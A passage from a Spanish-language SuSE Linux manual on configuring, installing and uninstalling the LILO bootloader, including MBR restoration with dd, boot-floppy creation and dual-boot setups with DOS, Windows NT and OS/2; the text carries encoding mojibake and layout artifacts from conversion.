  8121.        informar a LILO  especialmente sobre el cambio de orden de los discos
  8122.        desde el punto de vista de la BIOS. Esto se efect·a con un apunte extra en
  8123.        la parte global de lilo.conf como p. ej.  en el fichero 4.4.3 para el caso
  8124.        de un sistema con un disco IDE y uno SCSI.
  8125.  
  8126.         _______________________________________________________________________________________________________________________||
  8127.         |||||||| #  Enable  LILO  to  correctly  access  /dev/sda  and  /dev/hda                                                |
  8128.         |||||||| #  at  boot  time  if  their  boot  order  is  interchanged  in                                                |
  8129.         ||||||||                                                                                                                |
  8130.         |||||||| #  the  BIOS:                                                                                                  |
  8131.         |||||||| disk  =  /dev/sda       #     The  SCSI  disk  is  regarded  as...                                             |
  8132.         ||||||||                                                                                                                |
  8133.         ||||||||      bios  =  0x80         #     ...first  BIOS  disk;                                                         |
  8134.         |||||||| disk  =  /dev/hda       #     the  IDE  disk  is  regarded  as...                                              |
  8135.         ||||||||      bios  =  0x81         #     ...second  BIOS  disk.                                                        |
  8136.         ||||||||_______________________________________________________________________________________________________________ |
  8137.  
  8138.   Fichero 4.4.3: Extracto de lilo.conf        : Orden de arranque: SCSI ante IDE
  8139.  
  8140.  
  8141.    o   linear
  8142. 11      ____________________________________________________
  8143.     Esto se encuentra detallado en las fuentes del kernel en /usr/src/linux/init/main.c,
  8144.  funci≤n parse_root_dev().
  8145.  
  8146.  
  8147.                                                                                                                                    *
  8148.  *    129
  8149. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  8150.  *_______________________________________@
  8151.  
  8152.  
  8153.  
  8154.                                  Indicando esta opci≤n, LILO  anota durante la instalaci≤n todas las refer-
  8155.                                  encias en los sectores como direcciones l≤gicas y no fφsicas, asφ que Θstas
  8156.                                  se hacen independientes de la geometrφa del disco.  Esta opci≤n estß pre-
  8157.                                  vista,  ya que en el momento de arranque,  la BIOS reconoce en el caso
  8158.                                  de algunas tarjetas controladoras, una geometrφa diferente a la del sistema
  8159.                                  Linux. íSe necesita hacer esto pocas veces!
  8160.  
  8161.                                  La opci≤n linear       no evita el problema del lφmite de 1024 cilindros, que
  8162.                                  se establece por la geometrφa de la BIOS para el disco duro que arranca el
  8163.                                  sistema.
  8164.  
  8165.                              o   message=<fichero-message>
  8166.  
  8167.                                  Indica el nombre de un fichero de texto, que LILO  muestra en el primer
  8168.                                  momento  en  pantalla.  No  debe  tener  mßs  de  24  lφneas  (para  que  no  se
  8169.                                  mueva  hacia  arriba)  y  puede  p. ej.  explicar  la  elecci≤n  de  arranque  con
  8170.                                  LILO  que vendrß poco despuΘs.  Un mensaje de saludo semejante ya se
  8171.                                  conoce del disquete de arranque de SuSE     que se encuentra en el paquete;
  8172.                                  se recomienda.
  8173.                            ________________________________________________________________________________________________________*
  8174.  *________||
  8175.                            |  El  fichero  message  pertenece  a  la  maquinaria  de  arranque  de  LILO .                         *
  8176.  *        ||||
  8177.                            |  íCualquier cambio en Θl requiere una nueva instalaci≤n de LILO  (aparta-                             *
  8178.  *        |||
  8179.                            |                                                                                                       *
  8180.  *        |||
  8181.                            |  do 4.5 en la pßgina siguiente)!                                                                      *
  8182.  *        |||
  8183.                            |_______________________________________________________________________________________________________*
  8184.  *________|||_
  8185.  
  8186.                              o   password=<contrase±a>
  8187.  
  8188.                                  Esta opci≤n puede encontrarse al comienzo, en la secci≤n de los parßmet-
  8189.                                  ros o bien en la secci≤n de sistema.  Lo que hace es asegurar el acceso a
  8190.                                  los servicios de LILO  o al inicio del correspondiente sistema operativo.
  8191.                                  Si se pone en serio una contrase±a se deberφa borrar Θsta inmediatamente
  8192.                                  despuΘs del primer uso del fichero lilo.conf, ya que trabajando como
  8193.                                  root no es problema definir una nueva contrase±a en cualquier momen-
  8194.                                  to. ~Ademßs, se recomienda usar la opci≤n restricted         , De lo contrario
  8195.                                  serφa posible iniciar directamente un Shell con un parßmetro; ver la pßgina
  8196.                                  del manual de lilo.conf         (man  lilo.conf           )!
  8197.  
  8198.                              o   read-only
  8199.  
  8200.                                  Con esta opci≤n, LILO  indica al kernel montar la partici≤n raφz en modo
  8201.                                  de solo-lectura, tal como es usual al inicio de sistemas Linux.  Dejando
  8202.                                  esta opci≤n, el kernel usa la configuraci≤n predeterminada 12 .
  8203.  
  8204.                              o   delay=<dΘcimas  de  segundo>
  8205.  
  8206.                                  Cuando por defecto no aparece ning·n prompt, el usuario puede_hacerlo___          ______
  8207.                                  aparecer  en  el  momento  del  inicio  de  LILO  pulsando | ___________S|hift, *|______C|trl,
  8208.                                  |_____|Alt.   La  opci≤n  delay      indica  el  intervalo  de  tiempo  en  el  que  LILO
  8209.  
  8210.                                  espera  que  se  pulse  la  tecla  antes  de  cargar  automßticamente  el  primer
  8211.                                  sistema de su lista de sistemas operativos.  El valor predeterminado es 0 ,
  8212.                                  o sea, ning·n tiempo de espera.
  8213.  
  8214.                                  Evidentemete la opci≤n delay      es innecesaria cuando ya se estß forzando
  8215.                                  un prompt usando la directriz prompt       en el fichero lilo.conf.
  8216.                           1_____________________________________________2
  8217.                              La configuraci≤n se ve con el comando rdev  -R  <kernelimage>           . Los kernel de instalaci≤n
  8218.                            y cada kernel compilado nuevamente ya estßn en modo read-only por lo cual casi no se necesita
  8219.                            esta opci≤n. (íPruΘbelo!)
  8220.  
  8221.  
  8222. 130
  8223.        ___________________________________________________________________4.5.__Instalaci≤n_y_desinstalaci≤n_de_LILO_______________*
  8224.  *______________________
  8225.  
  8226.  
  8227.  
  8228.   o   vga=<mode>
  8229.       Seleccione el modo VGA para el inicio.  Valores vßlidos para <mode>
  8230.       son:   normal       (para  80x25),  ext    (para  80x50)  o  ask    (preguntar  en  el
  8231.       inicio).
  8232.   o   append="<parßmetro>"
  8233.       Opci≤n ''image'' para el kernel de Linux.  Permite pasar parßmetros del
  8234.       kernel  como  por  ejemplo  cuando  se  indican  componentes  de  hardware,
  8235.       tal como se puede hacer en el prompt de LILO . El kernel recibe primero
  8236.       la lφnea append       y despuΘs los parßmetros introducidos en el prompt. Por
  8237.       lo cual en caso de duda, los parßmetros del prompt se superponen.
  8238.       Ejemplo: append="mcd=0x300,10"
  8239. 4.5       Instalaci≤n y desinstalaci≤n de LILO
  8240.  
  8241. Instalando  Linux  desde  cero,  YaST  guφa  al  usuario  de  manera  interactiva
  8242. por  los  pasos  necesarios.   Normalmente  no  se  necesitan  retoques  a  mano
  8243. instalando  LILO .  No  obstante,  aquφ  suponemos  la  integraci≤n  de  LILO  en
  8244. un sistema ya instalado y usando algunas opciones especiales.
  8245.        _______________________________________________________________________________________________________________________||
  8246.  
  8247.        ||||||||  La instalaci≤n de un gestor de arranque es una intervenci≤n profunda y por                     |||            |
  8248.        ||||||||  tanto  conlleva  algo  de  riesgo.   En  todo  caso,  íantes  de  la  instalaci≤n  de          ||             |
  8249.        ||||||||                                                                                                 ||             |
  8250.        ||||||||  LILO , es mejor asegurarse de que se puede arrancar Linux con disquetes                        ||             |
  8251.        ||||||||  y a lo mejor tambiΘn los demßs sistemas operativos!  Sobre todo se tiene                       ||             |
  8252.        ||||||||                                                                                                 ||             |
  8253.        ||||||||  que poder usar fdisk .                                                                         ||             |
  8254.        ||||||||_______________________________________________________________________________________________________________||_
  8255.  
  8256. Instalaci≤n despuΘs del cambio de configuraci≤n
  8257.  
  8258. Si  se  ha  cambiado  alguno  de  los  componentes  de  LILO   (ver  en  la  pßgi-
  8259. na 123┐QuΘ partes conforman LILO ?Hfootnote.16) o si se ha modificado su
  8260. configuraci≤n en /etc/lilo.conf, hace falta instalar LILO  de nuevo. Esto
  8261. se lleva a cabo con la llamada al instalador map (ingl. map-installer):
  8262.       tierra:  #  /sbin/lilo
  8263.  
  8264. Primero LILO  genera un respaldo del sector de arranque destino, graba allφ
  8265. su  ''primera  fase''  y  genera  despuΘs  un  nuevo  fichero  map  (ver  en  la  pßgi-
  8266. na 123┐QuΘ partes conforman LILO ?Hfootnote.16). LILO  confirma en pan-
  8267. talla  los  sistemas  instalados,  lo  que  resulta  para  el  ejemplo  de  arriba  en  el
  8268. salida en pantalla 4.5.1:
  8269.        _______________________________________________________________________________________________________________________
  8270.        |||||||| Added  Linux*                                                                                                  |
  8271.        |||||||| Added  Linux.old                                                                                               |
  8272.        ||||||||                                                                                                                |
  8273.        ||||||||_Added__DOS____________________________________________________________________________________________________ |
  8274.               Mensaje en pantalla 4.5.1: Indicaciones llamando a LILO
  8275.  
  8276.  
  8277. Una vez terminada la instalaci≤n, se puede arrancar la computadora de nuevo:
  8278.       tierra:  #  shutdown  -r  now
  8279.  
  8280. DespuΘs del test de sistema de la BIOS, LILO muestra el prompt que_permite_
  8281. pasar parßmetros al kernel y elegir la imagen de arranque. Con |____Ta|bse pueden
  8282. ver los nombres de las configuraciones instaladas.
  8283.  
  8284.  
  8285.                                                                                                                                    *
  8286.  *   131
  8287. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  8288.  *_______________________________________@
  8289.  
  8290.  
  8291.  
  8292.                            Instalaci≤n despuΘs de la recompilaci≤n del kernel
  8293.  
  8294.  
  8295.                            Para  integrar  un  kernel  nuevo,  aparte  de  la  reinstalaci≤n  de  LILO  a  mano,
  8296.                            existe otra posibilidad mßs c≤moda:
  8297.  
  8298.  
  8299.                            La organizaci≤n de los comandos para configurar y generar un kernel se en-
  8300.                            cuentran en el fichero /usr/src/linux/Makefile que debe definir el path
  8301.                            de  la  instalaci≤n  como  INSTALL_PATH=/boot                  (ver  el  apartado  13.5  en  la
  8302.                            pßgina 353Compilaci≤n del kernelsection.13.5)   .  Este Makefile contiene
  8303.                            un  target      denominado  bzlilo      que  efect·a  automßticamente  algunas  ac-
  8304.                            ciones despuΘs de la compilaci≤n del kernel:  Renombra el kernel actual de
  8305.                            /boot/vmlinuz (antes /vmlinuz) a /boot/vmlinuz.old, escribe el ker-
  8306.                            nel nuevo a /boot/vmlinuz y finalmente reinstala LILO . Todo esto se eje-
  8307.                            cuta con la sencilla orden:
  8308.  
  8309.                                  tierra:/usr/src/linux  #  make  bzlilo
  8310.  
  8311.  
  8312.                            Esto evidentemente s≤lo tiene sentido si /etc/lilo.conf ha sido prepara-
  8313.                            do  con  anterioridad  a  la  reinstalaci≤n  y  el  kernel  antiguo  realmente  se  en-
  8314.                            cuentra en /boot/vmlinuz.  Por seguridad, tambiΘn se deberφa apuntar en-
  8315.                            tre  las  imßgenes  para  arrancar,  la  del  antiguo  kernel,  por  ejemplo,  asφ  co-
  8316.                            mo estß hecho en el fichero 4.4.1 en la pßgina 126El contenido del fichero
  8317.                            lilo.conf        subsection.4.4.1.
  8318.  
  8319.  
  8320.                            Asφ  es  posible  elegir  en  el  prompt  de  arranque  de  LILO  el  kernel  nuevo  y
  8321.                            tambiΘn  el  antiguo  probado  (nombre  en  el  ejemplo  Linux.old        ).   De  este
  8322.                            modo se genera un nivel adicional de seguridad, ·til si el sistema no quiere
  8323.                            arrancar con el nuevo kernel.
  8324.  
  8325.  
  8326.                            El tema de la generaci≤n de un nuevo kernel se discute en capφtulo 13 en la
  8327.                            pßgina 349El kernelchapter.13 en adelante.
  8328.  
  8329.  
  8330.  
  8331.                            Desinstalar LILO
  8332.  
  8333.                            ________________________________________________________________________________________________________*
  8334.  *________||
  8335.                            |  La desinstalaci≤n de un gestor de arranque es una intervenci≤n profunda y                            *
  8336.  *        ||||
  8337.                            |                                                                                                       *
  8338.  *        |||
  8339.                            |  por tanto conlleva algo de riesgo. íEs importante en todo caso, asegurarse                           *
  8340.  *        |||
  8341.                            |  antes  de  la  desinstalaci≤n  de  LILO  de  que  se  pueda  arrancar  Linux  con                    *
  8342.  *        |||
  8343.                            |                                                                                                       *
  8344.  *        |||
  8345.                            |  disquetes y a lo mejor tambiΘn los demßs sistemas operativos!  Si no,  se                            *
  8346.  *        |||
  8347.                            |  puede entrar en la desagradable situaci≤n de perder el acceso a los sistemas                         *
  8348.  *        |||
  8349.                            |                                                                                                       *
  8350.  *        |||
  8351.                            |  operativos en el disco duro.                                                                         *
  8352.  *        |||
  8353.                            |_______________________________________________________________________________________________________*
  8354.  *________|||_
  8355.  
  8356.  
  8357.                            A lo mejor un buen dφa hace falta desinstalar LILO :-(  Para desinstalarlo se
  8358.                            copia el contenido original del sector de arranque al mismo sobreescribien-
  8359.                            do asφ a LILO . Bajo Linux esto no representa ning·n problema, si existe un
  8360.                            respaldo vßlido (ver apartado 4.4.2 en la pßgina 128Otras opciones de config-
  8361.                            uraci≤n (Selecci≤n)subsection.4.4.2 Option backup      ).
  8362.  
  8363.  
  8364. 132
  8365.         _______________________________________________________________4.6.__Generar_disquete_de_arranque_de_Linux_________________*
  8366.  *_______________________
  8367.  
  8368.         _______________________________________________________________________________________________________________________|||
  8369.         ||||||||  El respaldo de un sector de arranque deja de ser vßlido cuando la partici≤n                    |||            |
  8370.         ||||||||| correspondiente  ha  recibido  un  nuevo  sistema  de  ficheros  (en  el  mundo                ||             ||
  8371.         ||||||||  DOS: cuando ha sido formateado).  La tabla de partici≤n en un respaldo                         |||            |
  8372.         ||||||||                                                                                                 ||             |
  8373.         ||||||||  de MBR pierde completamente su validez cuando el disco ha sido repar-                          ||             |
  8374.         ||||||||  ticionado.  Un respaldo de este estilo es una ''bomba'' que puede estallar                     ||             |
  8375.         ||||||||                                                                                                 ||             |
  8376.         ||||||||  en cualquier momento, por eso lo mejor es borrar respaldos caducados in-                       ||             |
  8377.         ||||||||  mediatamente.  íUsar un respaldo viejo es una manera bastante segura de                        ||             |
  8378.         ||||||||                                                                                                 ||             |
  8379.         ||||||||  perder montones de datos!                                                                      ||             |
  8380.         ||||||||_______________________________________________________________________________________________________________||_
  8381.  
  8382.  Lo  mßs  fßcil  es  la  recuperaci≤n  de  un  MBR  de  DOS,  Windows  o  OS/2.
  8383.  Se efect·a con el siguiente comando de MS-DOS (disponible a partir de la
  8384.  versi≤n DOS 5.0 en adelante):
  8385.  
  8386.        C:\>  fdisk  /mbr
  8387.  
  8388.  o con el comando de OS/2:
  8389.  
  8390.        C:\>  fdisk  /newmbr
  8391.  
  8392.  Estos comandos solamente escriben los primeros 446 Bytes al MBR (el c≤di-
  8393.  go de arranque) y dejan la tabla de partici≤n sin tocar13 . No olvide activar con
  8394.  fdisk  la partici≤n de arranque, ya que las rutinas del MBR de DOS, Windows
  8395.  y OS/2 lo necesitan.
  8396.  
  8397.  Antes de continuar conviene hacer otro respaldo reciente del sector de LILO
  8398.  en cuesti≤n; mejor un respaldo de mßs que uno de menos.  DespuΘs se com-
  8399.  prueba ~ como mφnimo dos veces ;-) ~ si el respaldo antiguo es correcto y si
  8400.  su tama±o es de exactamente 512 bytes.  Finalmente se devuelve la informa-
  8401.  ci≤n del respaldo a su ubicaci≤n original usando las siguientes instrucciones,
  8402.  sin confundirse entre if= y of=
  8403.  
  8404.    o   Si LILO  estß en la partici≤n yyyy (p. ej.  hda1, hda2,. . . ):
  8405.    tierra:  #  dd  if=/dev/yyyy  of=fichero-nuevo  bs=512  count=1
  8406.    tierra:  #  dd  if=fichero-respaldo  of=/dev/yyyy
  8407.  
  8408.  
  8409.    o   Si LILO  estß en el MBR del disco zzz (p. ej.  hda, sda):
  8410.    tierra:  #  dd  if=/dev/zzz  of=fichero-nuevo  bs=512  count=1
  8411.    tierra:  #  dd  if=fichero-respaldo  of=/dev/zzz  bs=446  count=1
  8412.  
  8413.  
  8414.  
  8415.  El ·ltimo comando ''tiene la precauci≤n'' de no modificar la tabla de parti-
  8416.  ciones.  Recuerde activar con fdisk  la partici≤n que debe formar ahora la de
  8417.  arranque.
  8418.  
  8419.  A prop≤sito: ┐Se ha percatado de lo rßpido que se hace un respaldo del sector
  8420.  de arranque? Por eso recomendamos hacerlo a menudo.
  8421.  
  8422.  
  8423.  
  8424.  4.6       Generar disquete de arranque de Linux
  8425.  
  8426.  
  8427.  Un disquete de arranque de Linux contiene ~ en resumen ~ uno o varios kernel
  8428.  que pueden ser gestionados por LILO . Sirve para arrancar SuSE      Linux   en
  8429.  el disco cuando ya no se puede arrancar de manera directa desde el disco, lo
  8430. 13      ____________________________________________________
  8431.    Salvo que el MBR (ver en la pßgina 119Master Boot Recordsection.4.1) se encuentre como no
  8432.  vßlido por una ''cifra mßgica'' falsa; en este caso se borra la tabla!
  8433.  
  8434.  
  8435.                                                                                                                                    *
  8436.  *    133
  8437. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  8438.  *_______________________________________@
  8439.  
  8440.  
  8441.  
  8442.                            cual puede ser provocado por un gestor de arranque mal configurado, por un
  8443.                            MBR borrado o por fallos en la instalaci≤n de LILO .
  8444.                            Este tipo de disquete solamente carga el kernel, todo lo demßs (init , scripts de
  8445.                            arranque, programas importantes de sistema) se espera que lo proporcione el
  8446.                            sistema instalado.  La interconexi≤n entre el kernel del disquete y el sistema
  8447.                            en el disco duro, se efect·a indicando al kernel correspondiente la partici≤n
  8448.                            root del disco como dispositivo root (ingl. root device).
  8449.  
  8450.                            No  se  debe  confundir  esto  con  los  disquetes  de  arranque  SuSE     para  la  in-
  8451.                            stalaci≤n y emergencias, cuyos ficheros de imagen (ingl. image files) se en-
  8452.                            cuentran  en  el  directorio  /disks  del  primer  CD,  listos  para  ser  copiados
  8453.                            en disquetes (apartado 16.5 en la pßgina 425El sistema de rescate de SuSE
  8454.                            section.16.5).
  8455.  
  8456.  
  8457.                            Disquete de arranque sin LILO
  8458.  
  8459.                            Si se encuentra en la buena posici≤n de no necesitar pasar ning·n parßmetro
  8460.                            al kernel cuando el sistema arranca 14 , lo mßs rßpido para generar un disquete
  8461.                            de arranque es copiar el kernel actual sobre un disquete vacφo sin errores y
  8462.                            ajustar  correctamente  el  dispositivo  root,  si  no  estß  hecho  ya.   Se  usa  los
  8463.                            siguientes comandos:
  8464.                                  tierra:  #  /sbin/badblocks  -v  /dev/fd0  1440
  8465.                                  tierra:  #  dd  if=Su_Kernel  of=/dev/fd0  bs=18k
  8466.                                  tierra:  #  rdev  /dev/fd0  Su_Partici≤n_Root
  8467.                                  tierra:  #  rdev  -R  /dev/fd0  1
  8468.                            El  primer  comando  comprueba  si  hay  bloques  da±ados  (1  bloque  =  1  k).
  8469.                            El ·ltimo comando se preocupa de que el kernel monte la partici≤n root al
  8470.                            principio a modo de solo-lectura,  tal como debe ser siempre (los scripts de
  8471.                            arranque de sistema confφan en esto).
  8472.  
  8473.  
  8474.                            Disquete de arranque con LILO
  8475.  
  8476.                            Un  disquete  de  arranque  confortable,  con  mensaje  de  saludo,  elecci≤n  del
  8477.                            kernel, opci≤n de parßmetros y con las demßs prestaciones de LILO , se gen-
  8478.                            era copiando toda la maquinaria de arranque de LILO  al disquete (ver en la
  8479.                            pßgina 123┐QuΘ partes conforman LILO ?Hfootnote.16). Para ello el disquete
  8480.                            necesita un sistema de ficheros, que para este caso, el mejor es minix     .
  8481.  
  8482.                            Para crear el disquete manualmente, se hace lo siguiente:
  8483.  
  8484.                              o   Generar un sistema de ficheros minix      en un disquete vacφo con compro-
  8485.                                  baci≤n y en caso de Θxito montarlo p. ej.  bajo /mnt:
  8486.                                       tierra:  #  /sbin/mkfs.minix  -c  /dev/fd0  1440
  8487.                                       tierra:  #  /bin/mount  /dev/fd0  /mnt
  8488.  
  8489.                              o   Copiar los ficheros del kernel y el fichero /boot/boot.b de LILO a /mnt
  8490.                                  (o sea en el disquete).
  8491.                              o   Opcional: Generar un fichero /mnt/message para un mensaje de saludo.
  8492.                              o   Generar  en  /mnt  un  fichero  lilo.conf  propio  como  figura  en  el
  8493.                                  fichero  4.6.1  en  la  pßgina  siguiente.   Se  debe  apuntar  la  partici≤n  raφz
  8494.                            ______real_(cambiar_Su_Dispositivo_Raφz):____
  8495.                           14  Este es el caso normal, cuando el soporte de la controladora de disco forma parte del kernel
  8496.                            (''kernel monolφtico'').
  8497.  
  8498.  
  8499. 134
  8500.        _______________________________________________________________________________4.7.__Ejemplos_de_Configuraciones____________*
  8501.  *______________________
  8502.        ||||||||                                                                                                                |
  8503.        _______________________________________________________________________________________________________________________||||
  8504.        |||||||| #  LILO  fichero  de  configuraci≤n  disquete  de  arranque                                                    |
  8505.        |||||||||#  Start  LILO  global  Section                                                                                ||
  8506.        |||||||| boot=/dev/fd0                            #  Destino  de  instalaci≤n:                                          |
  8507.        |||||||| install=/mnt/boot.b                 #  Disquetera.  LILO  y  el                                                |
  8508.        |||||||| map=/mnt/map                             #  fichero-Map  al  disquete!                                         |
  8509.        ||||||||                                                                                                                |
  8510.        |||||||| message=/mnt/message                #  opcional                                                                |
  8511.        |||||||| prompt                                                                                                         |
  8512.        ||||||||                                                                                                                |
  8513.        |||||||| timeout=100         #  Espera  en  el  prompt:  10  s                                                          |
  8514.        |||||||| vga  =  normal       #                                                                                         |
  8515.        ||||||||                                                                                                                |
  8516.        |||||||| #  End  LILO  global  section                                                                                  |
  8517.        |||||||| #                                                                                                              |
  8518.        |||||||| #  Linux  bootable  partition  config  begins                                                                  |
  8519.        ||||||||                                                                                                                |
  8520.        |||||||| image  =  /mnt/vmlinuz                            #     default                                                |
  8521.        ||||||||        root  =  /dev/Su_Dispositivo_Raφz  #  aquφ  partici≤n  raφz!                                            |
  8522.        ||||||||                                                                                                                |
  8523.        ||||||||        label  =  linux                                                                                         |
  8524.        |||||||| #  Linux  bootable  partition  config  ends                                                                    |
  8525.        ||||||||                                                                                                                |
  8526.        |||||||| #                                                                                                              |
  8527.        |||||||| #  Aquφ  apartados  de  sistema  para  kernels  adicionales:                                                   |
  8528.        ||||||||_______________________________________________________________________________________________________________ |
  8529.  
  8530.                   Fichero 4.6.1: lilo.conf         para disquete de arranque
  8531.  
  8532.  
  8533.  
  8534.   o   Usando  un  disco  de  memoria  initrd,  indique  tambiΘn  Θste  en  lilo.
  8535.       conf; ver la informaci≤n en el apartado 16.2.3 en la pßgina 413Bootloadersubsection.16.2.3.
  8536.   o   Instalar LILO  mediante el lilo.conf descrito:
  8537.             tierra:  #  /sbin/lilo  -C  /mnt/lilo.conf
  8538.  
  8539.   o   íDesmontar el disquete y listo!
  8540.             tierra:  #  /bin/umount  /mnt
  8541.  
  8542.   o   No olvide comprobar si el disquete realmente funciona :-)
  8543.  
  8544.  
  8545. 4.7       Ejemplos de Configuraciones
  8546.  
  8547. Si el nuevo Linux es el ·nico sistema operativo en la computadora, no hace
  8548. falta  hacer  nada  mßs,  ya  que  YaST  ha  hecho  todo  lo  necesario  durante  la
  8549. instalaci≤n.
  8550.  
  8551. Mßs  adelante  se  muestran  un  par  de  ejemplos  para  computadoras  con  var-
  8552. ios  sistemas  operativos  que  encuentran  su  complemento  en  las  configura-
  8553. ciones localizadas en /usr/doc/howto/en/mini/Linux+*.gz, hechas por
  8554. algunos amigos de Linux, que documentan las configuraciones de sus propias
  8555. computadoras con varios sistemas operativos.
  8556.  
  8557.  
  8558. 4.7.1      DOS/Windows 95/98 y Linux
  8559.  
  8560. Requisito:  DOS/Windows  95/98  y  Linux  deben  tener  cada  uno  una  parti-
  8561. ci≤n  primaria  por  debajo  del  lφmite  de  los  1024  cilindros  (ver  en  la  pßgi-
  8562. na  123┐D≤nde  se  puede  instalar  LILO ?Hfootnote.17);  la  partici≤n  de  ar-
  8563. ranque  de  Linux  (/boot     )  tambiΘn  puede  ser  del  tipo  l≤gico,  pero  siempre
  8564. debe estar completamente por debajo del lφmite de 1024 cilindros.
  8565.  
  8566. Una  configuraci≤n  adecuada  para  este  caso  ya  fue  mencionada  en  el
  8567. fichero 4.4.1 en la pßgina 126El contenido del fichero lilo.conf        subsection.4.4.1.
  8568.  
  8569.  
  8570.                                                                                                                                    *
  8571.  *   135
  8572. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  8573.  *_______________________________________@
  8574.  
  8575.  
  8576.  
  8577.                            Solamente se adaptan los parßmetros de las lφneas root    ,image      y other     ,  y
  8578.                            el pßrrafo sobre Linux.old se deja si no hay un segundo kernel (antiguo).
  8579.                            LILO  se instala en el MBR.
  8580.  
  8581.                            Conviene guardar /etc/lilo.conf y un disquete de arranque en un lugar
  8582.                            seguro, ya que es justamente Windows 95/98 el que tiene una cierta tendencia
  8583.                            a  eliminar  los  MBR  ''ajenos''.   Si  sucede  esto  y  se  puede  arrancar  Linux
  8584.                            despuΘs con un disquete de arranque, el problema se resuelve con el sencillo
  8585.                            comando
  8586.  
  8587.                                  tierra:  #  /sbin/lilo
  8588.  
  8589.  
  8590.                            4.7.2      Windows NT y Linux en un disco duro
  8591.  
  8592.                             1.   Posibilidad:  Uso del Gestor de arranque de NT. Este es capaz de iniciar
  8593.                                  sectores de arranque y sus imßgenes.  Con los siguientes pasos la coexis-
  8594.                                  tencia de Linux y Windows NT se hace posible:
  8595.  
  8596.                                  o   Instalaci≤n de Windows NT.
  8597.  
  8598.                                  o   Preparar un medio (partici≤n de disco o disquete sin errores) sobre el
  8599.                                      cual Linux pueda escribir y NT pueda leer, p. ej.  FAT.
  8600.  
  8601.                                  o   Instalar Linux ''como es habitual'' (aquφ suponemos /dev/sda3 como
  8602.                                      partici≤n  raφz  de  Linux)  y  despuΘs  montar  el  medio  con  FAT  (p. ej.
  8603.                                      en  /dosa);    respecto  al  proceso  de  montar  unidades  ver  el  aparta-
  8604.                                      do  19.11.2  en  la  pßgina  485Montaje  y  desmontaje  de  sistemas  de
  8605.                                      ficherossubsection.19.11.2  .Cuidado: íNo usar las opciones de mount
  8606.                                      conv=auto         o conv=text        !
  8607.  
  8608.                                  o   Instalar LILO  en la partici≤n raφz (o sea /dev/sda3) no en el MBR
  8609.                                      (/dev/sda)!  Se sigue teniendo la posibilidad de configurar LILO  de
  8610.                                      modo que se pueda seleccionar entre varias imßgenes de kernel. Como
  8611.                                      ejemplo para lilo.conf, consultar el fichero 4.7.1.
  8612.  
  8613.                            ________________________________________________________________________________________________________*
  8614.  *________||||
  8615.  
  8616.                            | #  LILO  fichero  de  configuraci≤n:  Arrancar  desde                                                 *
  8617.  *         |
  8618.                            | #                                                       partici≤n  raφz  /dev/sda3                    *
  8619.  *         |
  8620.                            | #  Start  LILO  global  Section                                                                       *
  8621.  *         |
  8622.                            |                                                                                                       *
  8623.  *         |
  8624.                            | boot=/dev/sda3                            #  destino  de  instalaci≤n                                 *
  8625.  *         |
  8626.                            | backup=/boot/boot.sda3.980428  #  respaldo  sector  arranque                                          *
  8627.  *         |
  8628.                            |                                                                                                       *
  8629.  *         |
  8630.                            | prompt                                                                                                *
  8631.  *         |
  8632.                            | timeout=100         #  Espera  al  prompt:  10  s                                                     *
  8633.  *         |
  8634.                            | vga  =  normal       #  force  sane  state                                                            *
  8635.  *         |
  8636.                            |                                                                                                       *
  8637.  *         |
  8638.                            | #  End  LILO  global  section                                                                         *
  8639.  *         |
  8640.                            | #  Linux  bootable  partition  config  begins                                                         *
  8641.  *         |
  8642.                            |                                                                                                       *
  8643.  *         |
  8644.                            | image  =  /boot/vmlinuz              #     default  image  to  boot                                   *
  8645.  *         |
  8646.                            |        root  =  /dev/sda3                #     aquφ  la  partici≤n  raφz!                             *
  8647.  *         |
  8648.                            |                                                                                                       *
  8649.  *         |
  8650.                            |        label  =  Linux                                                                                *
  8651.  *         |
  8652.                            | #  Linux  bootable  partition  config  ends                                                           *
  8653.  *         |
  8654.                            |_______________________________________________________________________________________________________*
  8655.  *________ |
  8656.  
  8657.                                          Fichero 4.7.1: lilo.conf         para arrancar una partici≤n raφz
  8658.  
  8659.  
  8660.                                  o   Copiar el sector de arranque de LILO  a un fichero en el medio FAT,
  8661.                                      p. ej.
  8662.                                tierra:  #  dd  if=/dev/sda3  of=/dosa/bootsek.lin  bs=512  count=1
  8663.  
  8664.  
  8665. 136
  8666.        _______________________________________________________________________________4.7.__Ejemplos_de_Configuraciones____________*
  8667.  *______________________
  8668.  
  8669.  
  8670.  
  8671.           íEvidentemente  hay  que  repetir  este  paso  y  tambiΘn  el  siguiente  de-
  8672.           spuΘs de cada actualizaci≤n del kernel!
  8673.       o   Arrancar NT. Copiar bootsek.lin desde el medio FAT al directorio
  8674.           raφz de la unidad de sistema de NT, si no se encuentra ya en Θste.
  8675.       o   A±adir  en  el  fichero  boot.ini  (definici≤n  de  atributos)  al  final  la
  8676.           lφnea:
  8677.           c:\bootsek.lin="Linux"
  8678.  
  8679.       o   Si todo va bien, debe existir una nueva opci≤n en el gestor de arranque
  8680.           de NT cuando se arranque la computadora la pr≤xima vez.
  8681.  
  8682.  2.   Posibilidad,  (desafortunadamente  no  funciona  siempre):  Instalar  LILO
  8683.       en  el  MBR  y  hacer  como  si  fuera  DOS  (ver  el  ejemplo  anterior);  pero
  8684.       cuidado, se trata de algo que aparentemente ha dejado de funcionar con
  8685.       versiones mßs recientes de NT. Parece que solo quiere arrancar cuando
  8686.       encuentra unas secuencias especiales (y no documentadas) en el MBR, de
  8687.       las que LILO  no sabe nada :-(
  8688.        _______________________________________________________________________________________________________________________||
  8689.        ||||||||  íWindows NT (3.5* y 4.0) no reconoce los tipos de partici≤n 82 y 83 que                        |||            |
  8690.        ||||||||                                                                                                 ||             |
  8691.        ||||||||  usa Linux!  Se debe vigilar que ning·n programa de NT ''repare'' la tabla                      ||             |
  8692.        ||||||||  de partici≤n en este sentido: se pueden perder datos! Lo mejor es mantener                     ||             |
  8693.        ||||||||                                                                                                 ||             |
  8694.        ||||||||  siempre un par de respaldos de seguridad vßlidos del MBR de LILO .                             ||             |
  8695.        ||||||||_______________________________________________________________________________________________________________||_
  8696.  
  8697. 4.7.3      OS/2 y Linux
  8698.  
  8699.  1.   Posibilidad:  Se  usa  el  gestor  de  arranque  de  OS/2.   Este  es  capaz  de
  8700.       arrancar cualquier partici≤n primaria o l≤gica dentro del lφmite de los 1024
  8701.       cilindros.   La  responsabilidad  de  hacerlo  realmente  arrancable  estß  en
